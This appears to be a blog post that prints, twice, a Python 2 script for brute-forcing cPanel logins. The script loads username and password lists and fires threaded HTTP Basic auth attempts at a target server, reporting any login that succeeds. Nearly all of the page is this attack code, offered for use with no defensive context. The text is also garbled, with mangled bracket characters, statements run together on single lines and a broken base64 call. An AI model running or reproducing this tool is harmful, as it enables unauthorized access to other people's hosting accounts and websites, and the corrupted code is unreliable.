Python Cpanel Brute Forcer
OS :- Linux - Windows
#!/usr/bin/python
import time,random,base64,sys,threading,urllib2,httplib
from copy import copy
def stoker():
print '''
+-+-+-+-+-+-+ +-+-+-+-+-+
|C|p|a|n|e|l| |B|r|u|t|e|
+-+-+-+-+-+-+ +-+-+-+-+-+
***91;!***93; Python Cpanel Brute Forcer
***91;!***93; Author : Muhammad Adeel aka Innoxent Stoker
***91;!***93; Mail: jutthaxor@gmail.com
***91;!***93; usage : ./script.py server port user.txt pass.txt
'''
def timer():
now = time.localtime(time.time())
return time.asctime(now)
if len(sys.argv) !=5:
stoker()
sys.exit(1)
try:
users = open(sys.argv***91;3***93;, "r").readlines() except(IOError):
print "***91;****93;Error, Check Users List Path.\n"
sys.exit(1)
try:
passwd = open(sys.argv***91;4***93;, "r").readlines() except(IOError):
print "***91;****93;Error, Check your Password list path.\n"
sys.exit(1)
passlist = copy(passwd)
def reloader():
for word in passlist:
passwd.append(word) def getpw():
lock = threading.Lock()
lock.acquire()
if len(passwd) != 0:
value = random.sample(passwd, 1)
passwd.remove(value***91;0***93;)
else:
print "\n***91;****93;PathList Reloading ~ changing User..\n"
reloader()
value = random.sample(passwd, 1)
users.remove(users***91;0***93;)
lock.release()
if len(users) ==1:
return users***91;0***93;, value***91;0***93;***91;:-1***93;
else:
return users***91;0***93;***91;:-1***93;, value***91;0***93;***91;:-1***93; def anonghost(url):
req = urllib2.Request(url)
try:
handle = urllib2.urlopen(req)
except IOError, e:
pass
else:
print "***91;****93;Cannot Open the Page.\n"
sys.exit(1)
if not hasattr(e, 'code') or e.code != 401:
print "\n***91;****93;An Error Occured while Loading Page."
sys.exit(1)
authline = e.headers.get('www-authenticate', '')
if not authline:
print '\n***91;****93;Basic authentication Header not found.\n'
sys.exit(1)
else:
return authline class pakistani(threading.Thread):
def run(self):
username, password = getpw()
try:
print "-"*12
print "UserName: ",username,"Password: ",password
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password("cPanel", server, base64encodestring(username)***91;:-1***93;, base64encodestring(password)***91;:-1***93;)
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
urllib2.urlopen(server)
print "\t\n\nUsername: ",username,"Password: ",password,"-- Logged in Successfully."
except (urllib2.HTTPError, httplib.BadStatusLine), msg:
print "An error occurred: ", msg
pass
stoker()
if sys.argv***91;1***93;***91;-1***93; == "/":
sys.argv***91;1***93; = sys.argv***91;1***93;***91;:-1***93; server = sys.argv***91;1***93;+":2082" if sys.argv***91;2***93;.isdigit() == False:
print "***91;****93; Port should be a number\n"
sys.exit(1)
else:
port = sys.argv***91;2***93;
if sys.argv***91;1***93;***91;-1***93; == "/":
sys.argv***91;1***93; = sys.argv***91;1***93;***91;:-1***93; server = sys.argv***91;1***93;+":"+port
print "***91;!***93; Server: ",server,"***91;!***93; Port: ",port print "***91;!***93; Usernames Loaded: ",len(users),"***91;!***93; PassWords Loaded: ",len(passwd)
print "***91;!***93;",anonghost(server), "***91;!***93; Started ",timer(),"\n"
for i in range(len(passwd)*len(users)):
work = pakistani()
work.setDaemon(1)
work.start()
time.sleep(1)
print "\n***91;!***93; Job Finished -",timer(),"\n"
OS :- Linux - Windows
#!/usr/bin/python
import time,random,base64,sys,threading,urllib2,httplib
from copy import copy
def stoker():
print '''
+-+-+-+-+-+-+ +-+-+-+-+-+
|C|p|a|n|e|l| |B|r|u|t|e|
+-+-+-+-+-+-+ +-+-+-+-+-+
***91;!***93; Python Cpanel Brute Forcer
***91;!***93; Author : Muhammad Adeel aka Innoxent Stoker
***91;!***93; Mail: jutthaxor@gmail.com
***91;!***93; usage : ./script.py server port user.txt pass.txt
'''
def timer():
now = time.localtime(time.time())
return time.asctime(now)
if len(sys.argv) !=5:
stoker()
sys.exit(1)
try:
users = open(sys.argv***91;3***93;, "r").readlines() except(IOError):
print "***91;****93;Error, Check Users List Path.\n"
sys.exit(1)
try:
passwd = open(sys.argv***91;4***93;, "r").readlines() except(IOError):
print "***91;****93;Error, Check your Password list path.\n"
sys.exit(1)
passlist = copy(passwd)
def reloader():
for word in passlist:
passwd.append(word) def getpw():
lock = threading.Lock()
lock.acquire()
if len(passwd) != 0:
value = random.sample(passwd, 1)
passwd.remove(value***91;0***93;)
else:
print "\n***91;****93;PathList Reloading ~ changing User..\n"
reloader()
value = random.sample(passwd, 1)
users.remove(users***91;0***93;)
lock.release()
if len(users) ==1:
return users***91;0***93;, value***91;0***93;***91;:-1***93;
else:
return users***91;0***93;***91;:-1***93;, value***91;0***93;***91;:-1***93; def anonghost(url):
req = urllib2.Request(url)
try:
handle = urllib2.urlopen(req)
except IOError, e:
pass
else:
print "***91;****93;Cannot Open the Page.\n"
sys.exit(1)
if not hasattr(e, 'code') or e.code != 401:
print "\n***91;****93;An Error Occured while Loading Page."
sys.exit(1)
authline = e.headers.get('www-authenticate', '')
if not authline:
print '\n***91;****93;Basic authentication Header not found.\n'
sys.exit(1)
else:
return authline class pakistani(threading.Thread):
def run(self):
username, password = getpw()
try:
print "-"*12
print "UserName: ",username,"Password: ",password
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password("cPanel", server, base64encodestring(username)***91;:-1***93;, base64encodestring(password)***91;:-1***93;)
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
urllib2.urlopen(server)
print "\t\n\nUsername: ",username,"Password: ",password,"-- Logged in Successfully."
except (urllib2.HTTPError, httplib.BadStatusLine), msg:
print "An error occurred: ", msg
pass
stoker()
if sys.argv***91;1***93;***91;-1***93; == "/":
sys.argv***91;1***93; = sys.argv***91;1***93;***91;:-1***93; server = sys.argv***91;1***93;+":2082" if sys.argv***91;2***93;.isdigit() == False:
print "***91;****93; Port should be a number\n"
sys.exit(1)
else:
port = sys.argv***91;2***93;
if sys.argv***91;1***93;***91;-1***93; == "/":
sys.argv***91;1***93; = sys.argv***91;1***93;***91;:-1***93; server = sys.argv***91;1***93;+":"+port
print "***91;!***93; Server: ",server,"***91;!***93; Port: ",port print "***91;!***93; Usernames Loaded: ",len(users),"***91;!***93; PassWords Loaded: ",len(passwd)
print "***91;!***93;",anonghost(server), "***91;!***93; Started ",timer(),"\n"
for i in range(len(passwd)*len(users)):
work = pakistani()
work.setDaemon(1)
work.start()
time.sleep(1)
print "\n***91;!***93; Job Finished -",timer(),"\n"
0 Comments:
Post a Comment